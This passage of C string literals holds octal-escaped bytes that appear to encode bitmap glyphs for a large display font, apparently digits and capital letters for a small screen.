"\0\0\0\0\0\0\0\0\0\0\0\0\0\60x|\376\177\77\37\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0~~~~~~~~~~~~~~~~~~~~~~~~~~" "~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\37\77\77\77\77\37\37\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\370\370\360" "\360`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\374\377\377\377\377\177\37\7" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\377\377\77\7\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\377\377\77\17\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377\77\17\3\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\374\377\377\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\14\17\37\37\77\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376\377\377\377\177\77\37\37\17\17\37\37\77\377\377\376\374\370\360\300\0" "\0\0\0\0\200\370\377\377\377\377\377\377\17\3\0\0\0\0\0\0\0\300\340\360\374\377\377\77\377\377\377\377" "\370\200\0\0\377\377\377\377\377\377\377\0\0\0\0\200\340\360\374\376\177\77\37\7\3\1\0\0\377\377\377\377" "\377\377\0\0\7\177\377\377\377\377\377\374\370\376\177\77\37\7\3\1\0\0\0\0\0\0\200\370\377\377\377\377" "\377\7\0\0\0\0\3\17\37\77\377\377\377\377\376\370\360\360\340\340\340\340\360\360\374\376\377\377\177\77\17\3" "\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0p\370\370\374\374~~\177\177\77\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0`\360\370\374\376\377\377\77\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\376\374\360" "\340\200\0\0\0\0\0\0\0\1\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\303\377\377\377\377\377" "\377\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\370\376\377\377\177\77\37\17\7" "\1\0\0\0\0\0\0\0\0\0\0\300\340\360\370\374\376\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\300\360\374\376\377\377\377\377\357\347\343\341\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\360\360\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\10\34>~\377\177\77\77\37\37\17\17\17\37\37\37\77\77\377\377\377\376\374\370\360" "\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\377\377\377\377\377\177" "\37\0\0\0\0\0\0\0\0\0\0\0\0\0>>>>>>\77\177\177\377\377\377\377\377\363\341\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\207\377\377\377\377\377" "\377\370\0\0\0\0 x\374\376\377\377\370\370\360\340\340\340\340\340\340\340\360\360\370\374\377\377\377\377\177\77" "\17\3\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\300\300\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374\376\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\377\377\77\37\7\3\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\200\340\360\374\376\377\377\77\37\7\1\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0|\177\177\177\177\177\177\177~~~~~~~~~~\377\377\377\377\377\377\377~~~" "~~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\0\0\0\0\0\0\0\370\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\0\0\0\0\0\0\0\377\377\377\377\377\377\377\340\340\360\360\360\360\360\360\360\360\340\340\300\300\200\0\0" "\0\0\0\0\0\0\0\36\37\77\77\177\77\37\17\7\7\7\3\3\3\3\7\7\17\37\77\377\377\377\377\376" "\374\360\200\0\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\377\377\0\0\10\30<~\377\377\377\376\370\370\360\360\340\340\340\340\340\340\360\360\370\374\377\377\377\377\177" "\37\17\1\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0" "\0\0\0\0\0\0\0\0\200\340\360\370\374\376\377\377\177\77\77\37\37\37\17\17\17\37\37\77\177\377\177>" "\36\14\0\0\0\0\340\374\377\377\377\377\377\77\203\301\300\340\340\340\340\340\340\340\340\340\300\300\200\200\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\377\77\37\37\17\17\7\7\7\7\7\17\37\77\377\377\377\377\376" "\370\360\200\0\0\0\77\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377" "\377\377\377\0\0\0\0\1\17\37\177\377\377\377\377\374\370\360\340\340\340\340\340\340\360\370\374\377\377\377\377\177" "\37\17\1\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\0\0\0\0\0\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\217\377\377\377\377\377\377\177\37" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377\177\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\377\377\77\17\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\377\377\77\17\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377\377\377\177\17\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\6\7\7\7\7\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\374\376\376\377\377\177\77\37\37\37\17\17\37\37\37\77\377\377\377\376\376\374\360" "\300\0\0\0\0\0\0\37\177\377\377\377\377\377\360\300\200\200\0\0\0\0\0\200\300\360\377\377\377\377\377\77" "\17\0\0\0\0\0\0\0\200\300\341\363\367\377\377\377\177\77\77>>~\177\377\377\377\377\367\343\341\300\0" "\0\0\0\0\0\360\374\377\377\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377\377\377" "\376\370\0\0\0\7\37\77\177\377\377\377\377\374\370\360\340\340\340\340\340\340\340\360\360\370\376\377\377\377\177\77" "\37\7\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376\377\377\177\77\37\37\17\17\17\37\37\77\177\377\377\376\374\370\360\340" "\0\0\0\0\0\0\376\377\377\377\377\377\377\3\0\0\0\0\0\0\0\0\0\0\0\0\7\377\377\377\377\377" "\377\370\0\0\0\0\1\17\77\177\377\377\377\377\374\370\360\340\340\340\340\340\360\360\370\374\376\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\7\7\3\3\1\361\377\377\377\377\377" "\377\17\0\0\0\0\0\340\360\370\374\374\374\360\360\340\340\340\340\340\340\360\360\370\374\377\377\377\177\77\17\7" "\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\340\340\340\340\300\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\77\77\177\177\177\177\77\77\17\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\37\77\77\77\77\37\37\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\37\77\77\77\77\37\37\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\360\370\370\370\370\360\360\340\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\17\377\377\377\377\377\377\177\37\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\30<>\177\77\37\17\7\3\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\360\360\370" "\370\374\374\376\0\0\0\200\200\300\300\340\340\360\360\370\370\374\374\376\376\177\177\77\77\37\37\17\17\7\7\3" "\3\1\1\0~\177\377\377\377\377\377\377\367\347\343\303\201\201\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\1\3\3\7\7\17\37\37\77\77\177\177\376\376\374\374\370\370\360\360\340\340\300\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\17\17\37\77\77" "\177\177\377\376\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374" "\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0~~~~~~~~~~~~~~~~~~~~~~~~~~~~" "~~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\376\374\374\370\370\360\360\340\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\1\1\3\3\3\7\7\17\17\37\37\77\77\177\177\376\376\374\374\370\370\360\360\340\340\300\300\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\201\201\303\303\347\347\377\377\377\377\377" "\377\377\177~\0\0\200\200\300\300\340\340\360\360\370\370\374\376\376\377\177\177\77\37\37\17\17\7\7\3\1\1" "\0\0\0\0\377\377\177\77\77\37\37\17\17\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\340\360\360\360\360\360\360\360\360\340\340\300\300\200\0\0\0" "\0\0\0\0\0\30<~\377\377\377\177\77\37\17\7\7\7\3\3\3\7\7\17\37\77\377\377\377\377\376\370" "\340\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\377\377\377\377\377\377" "\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\374\376\377\377\377\177\77\37\17\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\37\37\37\37\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\370\360\340\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\0\300\340\360\370\374\376\377\377\177\77\37\37\37\17\17\17\17\37\37\37\77\77\177\377\376\374" "\370\340\300\0\370\377\377\377\377\177\17\3\1\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\374\375\377\377" "\377\377\377\374\377\377\377\377\377\0\0\0\0\0\374\377\377\377\377\377\217\3\1\1\0\0\0\0\0\300\377\377" "\377\377\377\377\77\377\377\377\377\376\340\200\0\0\1\7\37\77\77\177\177\376\376\376\374\374\376~\177\77\177\177" "\177\177\177\177\0\1\3\17\37\77\177\377\377\376\374\370\370\360\360\340\340\340\340\340\340\340\340\340\360\360\370\370" "\340\300\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\3" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\377\377\374\360\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377\377\177\17\37\377\377\377\377\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\360\376\377\377\377\377\37\3\0\0\0\0\7\37\377\377\377\377\376\370\300\0\0" "\0\0\0\0\0\200\340\374\377\377\377\377\177\177~~~~~~~~~~\177\177\377\377\377\377\376\370" "\300\0\0\0\374\377\377\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77\377\377\377" "\377\377\370\340\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\37\37\37\77\177\377\377\377\376\376\374" "\360\300\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\200\200\200\300\340\360\377\377\377\377\377" "\177\37\0\0\377\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\177\177\177\377\377\377\377\363\341\340" "\200\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\377\377\377\377" "\377\377\374\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340\340\340\360\360\360\370\374\377\377\377\377\177" "\77\17\3\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\3\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0" "\0\0\0\0\0\0\0\300\340\360\374\374\376\377\377\177\77\77\37\37\17\17\17\37\37\37\77\177\377\377\376\376" "\374\370\360\300\300\370\377\377\377\377\377\377\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7" "\7\3\3\1\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\177\377\377\377\377\377\376\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\3\7\37\77\177\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\360\370\370\374\377\377" "\377~\34\14\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\37\37\37\77\177\377\377\377\376\374\370\360" "\340\200\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\177\377\377\377" "\377\377\374\340\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\374\377\377\377" "\377\377\177\7\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\360\360\360\370\370\374\376\377\377\377\177\77\17" "\7\1\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\3\3\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\0\300\340\360\370\374\376\377\377\177\77\77\37\37\37\17\17\17\37\37\37\77\177\377\377\376\374" "\370\360`\0\370\377\377\377\377\377\177\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\3" "\1\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360" "\360\360\360\0\177\377\377\377\377\377\376\340\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\377\377\377" "\377\377\377\0\0\3\17\37\77\177\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\340\360\360\370\377\377\377" "\377\377\177\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\3\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300" "\300\300\300\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" 